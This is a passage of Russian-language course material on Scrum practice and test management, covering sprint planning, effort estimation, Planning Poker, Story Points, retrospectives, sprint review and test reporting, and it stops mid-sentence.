рассказ владельца продукта, команда обсуждает задачи, сессия вопросов и ответов с ВП, беклог спринта уточнен, ретроспектива и встреча закрыты. Эта практика должна быть неизменной для каждой встречи, поскольку она поможет команде войти в хороший режим и получить от нее максимальную отдачу. Производительность команды: • Достаточно взять среднее последних 3 спринтов, как руководство. • Обсудите часы доступности команды, отпуска, режим работы членов команды. • Помните, что спринты не бывают одинаковыми! • Не пытайтесь быть слишком детальными - это бесполезная трата времени, т.к. количество неизвестных слишком велико. • Команда все равно согласовывает объем работы. • Оставьте некоторое время для решения пока неизвестных вопросов и проблем. Так команда получает больше свободы действия. • Проще добавить работу в спринт, если у вас хорошо проработан беклог, чем убрать ее. Сотрудничайте, вместе планируйте работу над пользовательскими историями, не оценивайте объем ресурсов, не пытайтесь слишком оптимизировать или микроменеджить каждого. Продукты должна делать команда, а не группа людей, работающих над своими задачами. РАЗБИВКА ЗАДАЧ • Определите критерии готовности (DoD). Это устраняет конфликты и дает прозрачность процесса. "Готово" должно значить потенциальную поставку продукта. • Обсудите все задачи, чтобы получить представление о работе и ее выполнении: создание скриптов, рефакторинг, интеграция кода, тестирование и автоматизация, исправление багов, техническое обслуживание. • Не слишком привязывайтесь к процессу оценки, ведь это всего лишь предположение, а не обязательство. • Частая ошибка на этом этапе - хождение кругами. • Не привлекайте отдельных членов команды к ответственности за оценку. Команда не должна бояться оценивать. • Не стоит сравнивать относительные оценки с фактически затраченным временем (если нет существенных различий, но тогда это нужно вынести на командную ретроспективу). • Вся команда владеет беклогом спринта, поэтому не распределяйте задачи по исполнителям.Если это происходит, тогда одни и те же люди постоянно получают одну и ту же работу. Это плохо, потому что тогда Вы развиваете «специалистов» в своей команде, а обмен знаниями и развитие становятся ограниченными. Совершенно нормально иметь специалистов, пока они обмениваются знаниями с командой, но нет ничего хуже, чем один человек, который несет знания и ответственность за конкретную часть кода, а затем он уходит - забирая эти знания с собой. • Цели спринта достигает вся команда. Поскольку у вас есть список приоритетов, то, если одна задача выполнена, член команды может предложить помощь другим, если нужно, или перейти к следующей по приоритету задаче. • Используйте Story Points как способ относительной оценки. Тут Вы сравниваете задачи по сложности, а не по времени. Разработчику проще сказать «эта задача в 3 раза сложнее, чем та», а не «эта задача займет у меня около 4 дней». Не смешивайте Story Points с часами, тогда люди просто пытаются конвертировать Story Points во время, а затем Story Points вообще теряют свою ценность. • Согласовывайте размеры ваших задач. Хороши задачи, которые занимают не более 1 дня. Преимущества согласовывания размеров задач: o разработчикам проще планировать рабочий день; o повышается эффективность, если задачу можно начать и завершить в тот же день; o небольшие задачи дают более полное представление об объеме работы; o можно сократить "узкие горлышки" процесса; o атомарные задачи можно было делать параллельно. Задачи, зависящие друг от друга, будут вызывать проблемы и провоцировать "узкие горлышки". • Создавайте только те задачи, которые требуют выполнения: разработка, тестирование, документация, демо и т. д. Не вносите в них работу владельца продукта или командные встречи. • Если Вы не уверены в задаче, то создайте “зазор”. Он нужен для проведения исследования. • Не планируйте 8-часовой рабочий день, даже если команда нанята на это время. В действительности, команда не работает 8 часов подряд. «Эффективность» хорошей здоровой команды - около 70% рабочего времени, поэтому стоит планировать хотя бы 6 часов в день, т.к. в течение дня происходит много всего: встречи, обеденный перерыв, выяснения деталей с ПО, короткие перерывы. РАБОЧАЯ СРЕДА Команде важно чувствовать себя в безопасности, понимать, что нормально не знать всего прямо сейчас. Agile весь состоит из адаптации, подстройки и обучения. Должно быть ощущение сотрудничества, поддержки, любопытства и драйва. Команда не должна бояться задавать вопросы, высказываться. Команде важно чувствовать уверенность в том, что они действительно могут поставить и какие взять на себя обязательства; и если у них есть какие-то сомнения или возникают риски, отнеситесь к ним всерьез. Очень важно, что последнее слово о поставке остается за командой, а не владельцем продукта. Автономия команды Я большой сторонник самоорганизующихся автономных команд. Не потому, что ленив .... А потому, что я видел результаты их работы. Автономные команды эффективны, потому что они владеют продуктом от начала до конца, они независимо принимают решения и это способствует росту и мотивации всех участников. Как скрам-мастер, Вы должны позволить команде ставить собственные цели, обучить команду, как взять на себя ответственность, помочь им присвоить план и беклог спринта. Ни в коем случае не сдерживайте команду, помогите им удивляться и изобретать, чтобы превзойти самих себя. Позвольте им думать и пускай в комнате время от времени воцаряется тишина. Активное слушание В начале встречи особенно важно вовлечь команду в рассказ ВП, когда он объясняет и рассказывает о приоритетах. Хорошо, если команда активно слушает и задает вопросы на этом этапе. Взаимное уважение Я говорил о важности доверия, но уважение не менее важно. Я упомянул, что владелец продукта должен иметь доверие в команде, и важно, чтобы оно было взаимным. Команда должна уважать ВП и доверять решениям, которые он принимает. Это тот человек, который приоритезирует их работу, им важно знать, что их работа имеет ценность и хорошо продумана. ВП отвечает за «почему» и команда должна позволить ему сосредоточиться на этом. ВП отвечает за управление заинтересованными сторонами и представляет голос бизнеса. Команда ответственна за «как», ВП слушает и, возможно, делится мнением, но никоим образом не диктует команде, как выполнять задачи, это их работа и они в этом профи. С обеих сторон нужно взаимное уважение и четкое определение ролей для каждого. Вопросы Не успокаивайтесь, если команда не задает никаких вопросов. Если вопросов нет, то кажется, что есть полное понимание, но такое бывает крайне редко. Вы можете договориться, что каждый должен задать хотя бы один вопрос. Обычно, когда возникает один вопрос, за ним появляются и другие. Процесс Если Вы используете физическую Kanban доску, предложите команде самостоятельно выписать свои стикеры, повесить их на доску и расставить приоритеты, опять же, это хороший способ развивать самоорганизацию. Используйте время встречи для обновления своего инструмента, будь то физическая Kanban доска, Jira или TFS. Во-первых, каждый сможет увидеть план, согласиться на него и начать работу. Во-вторых, хорошо, когда каждый понимает процесс. Тогда, если скрам-мастер болен, то члену команды несложно подменить его. ЗАВЕРШЕНИЕ ВСТРЕЧИ Планирование спринта ограничено во времени, заканчивайте его вовремя. Даже если фактически планирование еще не закончено, важно начать работу, продолжение встречи не поможет завершить пользовательские истории. Совершенно нормально не знать всех деталей, это развивает гибкость! Иногда команде необходима смелость сказать «Ок, этого достаточно, мы не знаем всех деталей, но будем изучать оставшиеся и приспосабливаться по пути». Быть гибким значит экспериментировать, изобретать, и старт работы дает команде шанс сделать это! В конце встречи возьмите несколько минут, чтобы снова подумать о том, что получилось хорошо, чего не было в предыдущем спринте и убедитесь, что забираете удачные практики с собой, а все плохое не повторится. Это позволяет бросить последний взгляд на запланированную работу и начать свое путешествие. Capacity • Capacity прогноз - количество идеальных часов, доступное в следующем спринте. • Понимание, сколько часов у нас есть на работу: на написание кода, тестирование, т.д. • Как правило, участник проекта работает не более пяти часов в день. • Эффективное распределение задач. • Нет смысла планировать задачи на тех, кто будет в отпуске или занят другими активностями. • Мало пользы принесет технический анализ задачи, выполненный участником проекта, который в следующем спринте будет отсутствовать. • Аккуратное и точное планирование. • Мы оцениваем задачи в часах и берем в спринт столько, сколько соответствует нашей capacity. Velocity Scrum Если представить себе движение автомобиля, то скорость в нем оценивается по спидометру и тогда всё предельно ясно. Однако, в жизни в целом и в каком-то конкретном деле нет спидометра и как оценить скорость объективно - вопрос. Если представить, что на автомобиле сломался спидометр, то скорость может быть оценена постфактум, то есть, когда человек будет ехать 60 минут и проедет, например, 100 км, затем опять пройдет 60 минут, но проедет 120 км, он будет видеть с какой скоростью он двигался – около 110 км/ч. При этом, если во время следующих 60 минут он остановится и потратит на заправку 12 минут, на обед 15 минут и проедет 55 км, то средняя скоростьза весь путь составит – 98 км/ч. Как и в движении на автомобиле, скорость можно измерять и в Scrum, и называется это Velocity (скорость). Расчет Scrum Velocity очень простой и также состоит из поставленных отметок, как через каждые 60 минут было какое-то количество километров. Для примера, предоставим график Velocity, отображающий по горизонтальной оси количество Sprints, а по вертикальной - Story Points. В таком графике, по сути, изображено Story Points и на основе этих показателей выстраивается среднее значение скорости. Однако, график Velocity может быть и иной, с простым отображением Story Points, на основе которых визуально видна тенденция. Если быть кратким в сравнении с движением по дороги, то список ассоциаций, влияющих на скорость, может быть такой: • Дорога - она же препятствия. • Топливо - мотивация, что движет нами. • Опыт водителя - знание / опыт / компетенция разработчик. • Условия для автомобилей - DEV среда. • Видимость - прозрачность проекта. • Направление - цели проекта. • Трафик / правила вождения - процессы. • Пункт назначения – продукт. Хочется, однако, отметить, что по поводу метрики Velocity в Scrum ходят споры, и кто-то считает данные графики не очень полезными и сложными в определении возможных проблем, да и самого разгона. В целом, все сходятся во мнении, что Velocity должен использоваться специалистом, как дополнительное наглядное отображение эффективности, которое как калька накладывается на другие данные, помогая скорректировать аналитическую работу Scrum Master. Трудозатраты - количество рабочего времени, необходимого для выполнения работы (выражается в человеко-часах). Перед выполнением каждого задания, возникают следующие вопросы: • Как много времени понадобится на выполнение работы? • Когда всё будет готово? • Можно ли гарантированно выполнить работу к такому-то сроку? • Каковы наиболее оптимистичный и пессимистичный прогнозы по времени? Оценка трудозатрат • Любая оценка лучше её отсутствия. Даже если область предстоящей работы для Вас совершенно нова, даже если Вы ошибётесь в своей оценке на порядок, Вы как минимум получите опыт, который сможете использовать в будущем при возникновении подобного рода задач. • Оптимизм губителен. Как правило, люди склонны недооценивать сложность незнакомых задач, что приводит к занижению оценки трудозатрат. Но, даже при достаточно точном определении самих трудозатрат, люди без опыта выполнения оценки склонны рассматривать предстоящую работу как некую изолированную деятельность, забывая о том, что на протяжении любого рабочего дня «чистую производительность труда» будут снижать такие факторы, как переписка по почте, участие в собраниях и обсуждениях, решение сопутствующих технических вопросов, изучение документации и обдумывание сложных частей задачи, форсмажорные обстоятельства (неотложные дела, проблемы с техникой и т.д.). Таким образом, обязательно стоит учитывать, что в реальности Вы сможете заниматься поставленной задачей не 100 % рабочего времени, а меньше (насколько меньше — зависит от конкретной ситуации, в среднем, принято считать, что на поставленную задачу из каждых восьми рабочих часов Вы сможете потратить не более шести). Учитывая этот факт, стоит сделать соответствующие поправки в оценке общего времени, которое понадобится на выполнение работы (а именно оно чаще всего интересует постановщика задачи). • Оценка должна быть аргументирована. Это не значит, что Вы всегда должны пускаться в подробные пояснения, но Вы должны быть готовы объяснить, почему Вы считаете, что та или иная работа займёт именно столько времени. Во-первых, продумывая эти аргументы, Вы получаете дополнительную возможность лучше оценить предстоящую работу и скорректировать оценку. Во-вторых, если Ваша оценка не соответствует ожиданиям постановщика задачи, Вы сможете отстоять свою точку зрения. • Простой способ научиться оценивать — оценивать. В специализированной литературе приводится множество технологий, но первична сама привычка выполнять оценку предстоящей работы. В процессе выработки этой привычки Вы, естественным образом, встретитесь с большинством типичных проблем и, через некоторое время, научитесь делать соответствующие поправки в оценке даже не задумываясь. Что оценивать? Что угодно: Сколько времени у Вас уйдёт на прочтение новой книги? За сколько времени Вы доедете домой новым маршрутом? За сколько времени Вы напишете курсовую или дипломную работу? - и так далее. Не важно, что именно Вы оцениваете, важно, что Вы повторяете это раз за разом, учитывая накапливающийся опыт. Алгоритм обучения формированию оценки: • Сформируйте оценку. Ранее уже было отмечено, что нет ничего страшного в том, что полученное значение может оказаться очень далёким от реальности. Для начала, оно просто должно быть. • Запишите полученную оценку. Обязательно именно запишите. Это застрахует Вас как минимум от двух рисков: забыть полученное значение (особенно, если работа заняла много времени), соврать себе в стиле «ну, я как-то примерно так и думал». • Выполните работу. В отдельных случаях, люди склонны подстраиваться под заранее сформированную оценку, ускоряя или замедляя выполнение работы — это тоже полезный навык, но сейчас такое поведение будет мешать. Однако, если Вы будете тренироваться на десятках и сотнях различных задач, Вы физически не сможете «подстроиться» под каждую из них и начнёте получать реальные результаты. • Сверьте реальные результаты с ранее сформированной оценкой. • Учтите ошибки при формировании новых оценок. На этом этапе очень полезно не просто отметить отклонение, а подумать, что привело к его появлению. • Повторяйте этот алгоритм как можно чаще для самых различных областей жизни. Сейчас цена Ваших ошибок крайне мала, а наработанный опыт от этого становится ничуть не менее ценным. Полезные идеи по формированию оценки трудозатрат: • Добавляйте небольшой «буфер» (по времени, бюджету или иным критическим ресурсам) на непредвиденные обстоятельства. Чем более дальний прогноз Вы строите, тем большим может быть этот «буфер» — от 5–10 % до 30-40 %. Но ни в коем случае не стоит осознанно завышать оценку в разы. • Выясните свой «коэффициент искажения»: большинство людей, в силу особенности своего мышления, склонны постоянно или занижать, или завышать оценку. Многократно формируя оценку трудозатрат и сравнивая её впоследствии с реальностью, Вы можете заметить определённую закономерность, которую вполне можно выразить числом. Например, может оказаться, что Вы склонны занижать оценку в 1.3 раза. Попробуйте в следующий раз внести соответствующую поправку. • Принимайте во внимание не зависящие от Вас обстоятельства. Например, Вы точно уверены, что выполните тестирование очередного билда за N человекочасов, Вы учли все отвлекающие факторы и т.д. и решили, что точно закончите к такой-то дате. А потом, в реальности, выпуск билда задерживается на два дня, и Ваш прогноз по моменту завершения работы оказывается нереалистичным. • Задумывайтесь заранее о необходимых ресурсах. Так, например, необходимую инфраструктуру можно (и нужно!) подготовить (или заказать) заранее, т.к. на подобные вспомогательные задачи может быть потрачено много времени, к тому же, основная работа часто не может быть начата, пока не будут завершены все приготовления. • Ищите способы организовать параллельное выполнение задач. Даже если Вы работаете один, всё равно какие-то задачи можно и нужно выполнять параллельно (например, уточнение тест-плана, пока происходит разворачивание виртуальных машин). В случае если работа выполняется несколькими людьми, распараллеливание работы можно считать жизненной необходимостью. • Периодически сверяйтесь с планом, вносите корректировки в оценку и уведомляйте заинтересованных лиц о внесённых изменениях заблаговременно. Например, Вы поняли (как в упомянутом выше примере с задержкой билда), что завершите работу, как минимум, на два дня позже. Если Вы оповестите проектную команду немедленно, у Ваших коллег появляется шанс скорректировать свои собственные планы. Если же Вы в «час икс» преподнесёте сюрприз о сдвигах срока на два дня, то создадите коллегам объективную проблему. • Используйте инструментальные средства — от электронных календарей до возможностей вашей систем управления проектом: это позволит Вам как минимум не держать в памяти кучу мелочей, а как максимум — повысит точность формируемой оценки. Оценка с использованием структурной декомпозиции Структурная декомпозиция - иерархическая декомпозиция объёмных задач на всё более и более малые подзадачи с целью упрощения оценки, планирования и мониторинга выполнения работы. В процессе выполнения структурной декомпозиции большие задачи делятся на всё более и более мелкие подзадачи, что позволяет: • описать весь объём работ с точностью, достаточной для чёткого понимания сути задач, формирования достаточно точной оценки трудозатрат и выработки показателей достижения результатов. • определить весь объём трудозатрат как сумму трудозатрат по отдельным задачам (с учётом необходимых поправок). • от интуитивного представления перейти к конкретному перечню отдельных действий, что упрощает построение плана, принятие решений о распараллеливании работ и т.д. Если абстрагироваться от научного подхода и формул, то суть такой оценки сводится к следующим шагам: • декомпозиции требований до уровня, на котором появляется возможность создания качественных чек-листов; • декомпозиции задач по тестированию каждого пункта чек-листа до уровня «тестировощных действий» (создание тест-кейсов, выполнение тест-кейсов, создание отчётов о дефектах и т.д.); • выполнению оценки с учётом собственной производительности. Оценка трудозатрат (помимо получения данных непосредственно о необходимом количестве персонала для тестирования) также позволяет определить: • Приблизительную стоимость проведения тестирования. • Сроки тестирования. • Примерный график работ. Существуют различные методы для проведения оценки. Некоторые из которых более серьезны в применении и требуют использования специальных математических расчетов, но часть из методов также является более простыми и может даже неосознанно применятся в планировании. Метод «пальцем в небо» Характеризуется тем, что оценивание осуществляется с учётом некоторого прошлого опыта или же и вовсе без такового на основании предположений и догадок. Является полностью неточным и содержит значительный процент погрешности. Экспертная оценка Название метода полностью отображает его суть в том, что оценка осуществляется на основании работы с предыдущими проектами либо же для работы привлекаются эксперты определённой области или специалисты, знакомые с тестируемым приложением. Специальный метод Оценивание трудозатрат осуществляется на основании предполагаемых временных рамках. Учитывая, что при таком подходе не берутся во внимание даже предыдущий опыт, погрешность достаточно велика. Структура декомпозиции работ Расчет количества заданий, выполнение которых ожидается от команды на этапе тестирования, осуществляется на декомпозиции проекта на определённые логические более мелкие части (например: модули –-> подмодули —> функциональности). И уже после проведения декомпозиции оценивается объем работ каждой небольшой части проекта. Например, протестировать авторизацию. Буква «о» не проходит – можно сходу сказать 5 мин для себя. Это минимальная единица. Такое может определить даже человек, который работает всего пару месяцев. Плюс в таком методе – Вам сложнее что-то забыть. Метод Дельфи Основывается на том же методе декомпозиции работ, что и Структура декомпозиции работ с тем дополнением, что ожидаемые к выполнению задания распределяются на каждого отдельного члена команды, который самостоятельно оценивает временные затраты на их выполнение. Данный метод характеризуется значительной точностью. Метод определения трудозатрат в процентном отношении к разработке Оценка основывается на предположении, что трудозатраты на тестирование являются прямо пропорциональными от таковых на разработку. Метод процентного распределения Использование метода исходит из того, что все этапы разработки программного продукта выражаются через процентное значение трудозатрат для каждого отдельно этапа. При этом, непосредственно этап тестирования также делится на его составляющие (планирование, проектирование тестов, выполнение тестов, анализ результатов), каждому из которого присваивается свой процент трудозатрат. При осуществлении оценки трудозатрат принимаются во внимание также следующие факторы: • Уровень мастерства команды в целом. • Наличие и качество проектной документации. • Применение автоматизации. • Используемые инструменты и средства при тестировании. Обратите внимание на диаграмму: здесь приведена статистика для сайтов от полугода – года. Программирование занимает от 20% до 40% разработки, это не тоже самое, что 2040% от проекта, а это, в среднем, 15% от проекта. Тестирование никогда не занимает 15% от продукта. Если у вас не закладывают столько время для тестирования, то закладывайте хоть сколько-нибудь. Желательно, выясните статистически, какой процент от проекта занимает тестирование и это применимо, если у Вас стабильные версии релизов, постоянный объем продуктов один и тот же. Planning Poker (Scrum Poker) Planning Poker или Scrum Poker, пожалуй ,одно из важнейших мероприятий в методологии Scrum или любой гибкой технологии разработки. Практически всегда перед командой встает вопрос: как оценить эту задачу? Оценка трудозатрат будет влиять на целую цепочку зависимостей. От сложности работы зависит количество баллов, начисляемых в рейтинг, сроки сдачи заказа и количество денег, которые должен будет заплатить заказчик. Пожалуй, каждый из членов Scrum Team может оценить ту или иную задачу лучше других, особенно, если она лежит в области его профессиональной деятельности. Сама методология Scrum, в выполнении той или иной работы, уводит нас из области личной ответственности в область коллективной. Логично при этом считать, что и оценивать ту или иную задачу, за которую несет ответственность вся команда, должна вся Scrum Team. Более того, такой подход поможет более точно определить реальные сроки, которые конкретный человек может себе искусственно завысить по разным причинам. Что собой представляют карты для Planning Poker / Scrum Poker На самом деле, таких вариантов карт очень много и каждый может придумывать свои, например, означающие количество дней на разработку. Есть несколько вариантов карт, которые пользуются большой популярностью. 1 вид популярной колоды для Planning Poker: Карточки представляют собой последовательность чисел Фибоначчи: 0, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89. 2 вид популярной колоды для Planning Poker: Данный вид имеет следующие значения: 0, ?, 1, 2, 3, 5, 8, 13, 20, 40, 100, «?», «Чашка кофе». Знак вопроса означает, что «игрок» не понял до конца смысл обсуждаемого или не обладает достаточно информацией, чтобы оценить её. Чашка кофе, в свою очередь, означает: «Я устал, давайте передохнем». Как проходит Scrum Poker / Planning Poker Один человек является ведущим и он не участвует в «игре». На обсуждение выносятся поочередно пункты, которые необходимо оценить. Каждый пункт позволено обсудить и провести обзор без оценочных данных. После этого каждый член команды выбирает карточку и кладет её рубашкой вверх. После того, как все положили карты – они вскрываются. Идеальным состоянием считается, если разброса в значениях практически нет. Как можно догадаться, такое бывает не всегда. Так или иначе в выброшенных картах будут наименьшие и наибольшие значения. Людям, выбросившим такие карточки, дают слово и они высказывают свое мнение, почему оценка была именно такой. Это позволяет получить больше информации всей остальной команде и задуматься, услышав доводы, либо объяснить выбросившим высокие или низкие позиции свою точку зрения. После этого карты выбрасываются снова и обычно разрыв уже сокращается, однако, если этого не произошло, то цикл повторяется. В данном случае, рекомендуется ввести таймер на цикл и поставить ограничения по циклам, но, в большинстве случаев, после третьего раза показатели примерно одинаковые. Если имеются небольшие расхождения, то в приоритете показатель человека, который непосредственно будет в разработке этой задачи. Основные проблемы в использовании Planning Poker Как и любая методология или технология должна иметь четкие инструкции в использовании, так и Planning Poker имеет четкие предписания, которые не позволяют делать ошибки и сводить на нет внедрение этого усовершенствования рабочего процесса. Эффект привязки в Scrum Poker Главной проблемой всегда был эффект привязки, который может проявлять себя поразному. Главной ошибкой, вызывающей этот эффект, является открытое обсуждение оценок. Если тот, кто начинает обсуждение, говорит примерно следующее: «Я считаю, что данное задание займет 18 часов разработки», то, так или иначе, все будут акцентированы на сроке в 18 часов, и тот, кто считал, что задача будет решена за 2 дня, может подумать, что на самом деле и 18 часов будет достаточно, а тот, кто думал про 5 часов, может подумать, что недооценил. С одной стороны, консенсус достигается быстрее, но с другой стороны, он не будет эффективным, а эффективность – это то, для чего мы всё это делаем. В такой ситуации больше в результат войдет мнение одного человека, а не команды. Не выделяться из толпы Второй знаменитой проблемой бывает ситуация, когда оценки выставляются не одновременно. В такой ситуации кто-то, конечно, выскажет свое мнение, но, с другой стороны, человек сомневающийся решит бросить карту, которая ближе к тем, что есть. К примеру, опять кто-то решил, что задача займет 18 часов, а до него двое выкинули по 5 часов, и логично предположить, что данный человек быстро среагирует, что оценил не так и так выделяться не стоит и бросит не то, что хотел изначально. Story Points Одна из самых важных сторон методологии Scrum – так называемые Story Points. Эта сторона очень плотно интегрирована в Scrum совместно с технологией Planning Poker. Самая частая проблема в работе Scrum Team – это неумение правильно оценивать сложность работы и временные затраты на её выполнение. Для многих действительно тяжело выработать правильную шкалу оценок и здесь нужен опыт или хитрый подход. Для максимально эффективного и быстрого внедрения Story Points в жизнь команды нужно взять уже отработанные задачи с прошлых проектов и провести их полный анализ. В данный анализ должны входить названия задач, которые выполнялись, и их продолжительность. Дальше всё проще простого: необходимо расположить эти задачи в порядке возрастания, отсортировав по времени. Разделить на группы с одинаковыми показателями или близкими и проставить оценки из вашей колоды карт Scrum Poker. Рано или поздно использование такого подхода сделает из Вас классную и прогрессирующую команду, что и есть единственно верное направление. Постоянно модернизирующаяся команда, всегда будет разгонять свой Velocity и радовать своих заказчиков успехами. Что же происходит на самом деле при Story Points? Когда Scrum Team способна оценивать свою работу, ведет график Velocity, следит за Диаграммой сгорания задач, рано или поздно (или с самого начала работы) абсолютно все оценки будут вестись в Story Points. Например, по графику Velocity можно увидеть, что динамика команды по среднему разгону за каждый Sprint идет вверх и среднее значения за последние две итерации составили 23-30 Story Points (зависит от выбранной системы оценок). Глядя на эти показатели Product Owner может видеть, на какие задачи потратить доступные очки, чтобы заполнить Backlog. Правильная оценка и использование Story Points делает действительно чудеса, ведь она связывает между собой работу всей команды: Development TeamScrum Master ощущает, на что она способна. Product OwnerBacklog видит, есть ли проблемы у команды, и что можно еще улучшить, а у Sprint не возникает вопросов ,сколько и какие задачи вкладывать в на текущий . Ретроспектива спринта Ретроспектива спринта — это возможность для скрам-команды провести инспекцию, направленную на себя, и создать план улучшений командной работы в следующем спринте. Ретроспектива спринта проводится после обзора спринта и перед планированием следующего спринта. Максимальная продолжительность ретроспективы – 3 часа (для спринта длительностью один месяц). Для более коротких спринтов, как правило, отводится меньше времени. Скрам-мастер убеждается, что событие проходит позитивно и продуктивно, обучает всех участников укладываться в отведенное на событие время. Он принимает участие в ретроспективе наравне с другими членами команды, но продолжает нести ответственность за скрам-процесс. Цели проведения ретроспективы спринта: • инспекция прошедшего спринта применительно к людям, отношениям, процессам и инструментам. Обнаружение и упорядочение того, что прошло хорошо и того, что нуждается в улучшении; • создание плана внедрения улучшений в процесс работы скрам-команды. Скрам-мастер побуждает скрам-команду улучшать процесс разработки и практики в рамках скрам-фреймворка. Это необходимо, чтобы в следующем спринте повысить её эффективность и получать больше удовлетворения от своей работы. Каждую ретроспективу спринта скрам-команда планирует действия для улучшения качества продукта, совершенствуя рабочий процесс или адаптируя критерий готовности, если это необходимо, и не противоречит спецификации продукта и стандартам организации. К концу ретроспективы, скрам-команда должна запланировать конкретные улучшения, которые она реализует в следующем спринте. Реализация этих улучшений — и есть адаптация скрам-команды. Работать над улучшениями можно в любое время, ретроспектива спринта – формальная возможность сконцентрироваться на инспекции и адаптации. Sprint Review Meeting Окончание каждого Sprint в Scrum знаменуется значительным приростом функционала продукта. Более того, это означает, что команда полностью написала код, провела полноценное тестирование и выдала готовую к употреблению часть программного продукты, или целый продукт. Sprint Review Meeting проводится в конце каждого спринта и носит обзорный характер. На встрече команда оценивает то, что она сделала, и ,чаще всего, это выглядит в виде демонстрации новых возможностей. Не стоит относится к Sprint Review Meeting как к формальной четко поставленной встрече с развернутыми докладами. Sprint Review Meeting это всё же просто логическое завершение Sprint. На подготовку к этой встрече не позволительно готовиться более 2 часов и запрещено использование слайдов типа PowerPoint. В данной встрече обычно участвует Product OwnerDevelopment Team, Scrum MasterManagement, , , заказчики и разработчики из других проектов. В ходе Sprint Review Meeting проект оценивается в отношении цели спринта, которая была определена во время планирования. В идеале, команда выполнила все задачи из Product Backlog, помещенные в Sprint, но это не самое важное, а важно то, что была достигнута цель спринта. Более подробно, на что смотрит заказчик на Sprint Review Meeting: • Команда передала законченный продукт. • Работа команды завершена. • Показатели проекта (завершенность кода и тд.). • Работоспособность выполненных задач. • Обзор приоритетов (для следующих итераций / спринтов). Время Sprint Review Meeting Время данного обзора строится по следующей формуле: за каждую неделю Sprint набегает 1 час обзора. То есть, если Sprint был четырехнедельным, то Sprint Review Meeting будет длится 4 часа. Проводится эта встреча в последний день спринта. Пример Sprint Review Meeting Один созданный пример на всю базу знаний можно и упомянуть здесь. Разработка интернет магазина, описываемая в разных статьях нашей Info Base, само собой разумеется, имеет спринты, а спринты имеют Sprint Review Meeting. Sprint Review Meeting при разработке интернет магазина Тематика Название Описание Статус Оценка Релиз Добавление продукта Разработка формы создания продукта, которая содержит фотографию, название, цену, скидку или её отсутствие... В работе 2 Релиз 1 Управление каталогом Удаление продукта Удаление продукта как из страницы редактирования, так и списком В работе 2 Релиз 1 Заказ Оплата Наложенный платеж В работе 10 Релиз 1 Заказ Оплата Оплата с помощью карт Visa и Mastercard В работе 10 Релиз 1 Заказ Оплата Оплата с помощью системы Яндекс Деньги В работе 10 Релиз 2 Заказ Вход Регистрация с помощью Facebook В работе 1 Незапланиров Управление каталогом Заказ Вход Регистрация с помощью Google+ В работе 1 Незапланиров ... ... ... ... ... ... Имея данный Product Backlog, в Sprint были добавлены задачи из первого релиза. А точнее, мы имеем задачи: 1. Добавление продукта. 2. Удаление продукта. 3. Оплата - наложенный платеж. 4. Оплата - оплата с помощью карт Visa и Mastercard. На Sprint Review Meeting, соответственно, будут продемонстрированы возможности по добавлению продуктов в базу интернет магазина и возможность их удалять. Также продемонстрирована работа корзины с возможностью оплаты заказа по карте или выбором наложенного платежа. Тема 18. Отчётность Отчётность - сбор и распространение информации о результатах работы (включая текущий статус, оценку прогресса и прогноз развития ситуации). К высокоуровневым задачам отчётности относятся: • Сбор, агрегация и предоставление в удобной для восприятия форме объективной информации о результатах работы. • Формирование оценки текущего статуса и прогресса (в сравнении с планом). • Обозначение существующих и возможных проблем (если такие есть). • Формирование прогноза развития ситуации и фиксация рекомендаций по устранению проблем и повышению эффективности работы. Отчёт о результатах тестирования - документ, обобщающий результаты работ по тестированию и содержащий информацию, достаточную для соотнесения текущей ситуации с тест-планом и принятия необходимых управленческих решений. К низкоуровневым задачам отчётности в тестировании относятся: • Оценка объёма и качества выполненных работ. • Сравнение текущего прогресса с тест-планом (в том числе с помощью анализа значений метрик). • Описание имеющихся сложностей и формирование рекомендаций по их устранению. • Предоставление лицам, заинтересованным в проекте, полной и объективной информации о текущем состоянии качества проекта, выраженной в конкретных фактах и числах. Качественный отчёт о результатах тестирования обладает многими свойствами качественных требований, а также расширяет их набор следующими пунктами: • информативность (в идеале, после прочтения отчёта не должно оставаться никаких открытых вопросов о том, что происходит с проектом в контексте качества); • точность и объективность (ни при каких условиях в отчёте не допускается искажение фактов, а личные мнения должны быть подкреплены твёрдыми обоснованиями). Отчёт о результатах тестирования создаётся по заранее оговорённому расписанию (зависящему от модели управления проектом) при участии большинства представителей проектной команды, задействованных в обеспечении качества. Большое количество фактических данных для отчёта может быть легко извлечено в удобной форме из системы управления проектом. Ответственным за создание отчёта, как правило, является ведущий тестировщик («тест-лид»). При необходимости, отчёт может обсуждаться на небольших собраниях. Отчёт о результатах тестирования предоставляется: • менеджеру проекта — как источник информации о текущей ситуации и основа для принятия управленческих решений; • руководителю команды разработчиков («дев-лиду») — как дополнительный объективный взгляд на происходящее на проекте; • руководителю команды тестировщиков («тест-лиду») — как способ структурировать собственные мысли и собрать необходимый материал для обращения к менеджеру проекта по насущным вопросам, если в этом есть необходимость; • заказчику — как наиболее объективный источник информации о том, что происходит на проекте, за который он платит свои деньги. Отчёт о результатах тестирования включает следующие разделы: • Краткое описание. В предельно краткой форме отражает основные достижения, проблемы, выводы и рекомендации. В идеальном случае, прочтения краткого описания может быть достаточно для формирования полноценного представления о происходящем, что избавит от необходимости читать весь отчёт (это важно, т.к. отчёт о результатах тестирования может попадать в руки очень занятым людям). • Команда тестировщиков. Список участников проектной команды, задействованных в обеспечении качества, с указанием их должностей и ролей в подотчётный период. • Описание процесса тестирования. Последовательное описание того, какие работы были выполнены за подотчётный период. • Расписание. Детализированное расписание работы команды тестировщиков и/или личные расписания участников команды. • Статистика по новым дефектам. Таблица, в которой представлены данные по обнаруженным за подотчётный период дефектам (с классификацией по стадии жизненного цикла и важности). • Список новых дефектов. Список обнаруженных за подотчётный период дефектов с их краткими описаниями и важностью. • Статистика по всем дефектам. Таблица, в которой представлены данные по обнаруженным за всё время существования проекта дефектам (с классификацией по стадии жизненного цикла и важности). Как правило, в этот же раздел добавляется график, отражающий такие статистические данные. • Рекомендации. Обоснованные выводы и рекомендации по принятию тех или иных управленческих решений (изменению тест-плана, запросу или освобождению ресурсов и т.д.) Здесь этой информации можно отвести больше места, чем в кратком описании (summary), сделав акцент именно на том, что и почему рекомендуется сделать в имеющейся ситуации. • Приложения. Фактические данные (как правило, значения метрик и графическое представление их изменения во времени). Логика построения отчёта о результатах тестирования Для того, чтобы отчёт о результатах тестирования был действительно полезным, при его создании следует постоянно помнить об универсальной логике отчётности: 1. Выводы строятся на основе целей (которые были отражены в плане). 2. Выводы дополняются рекомендациями. 3. Выводы, так же, как и рекомендации, строго обосновываются. 4. Обоснование опирается на объективные 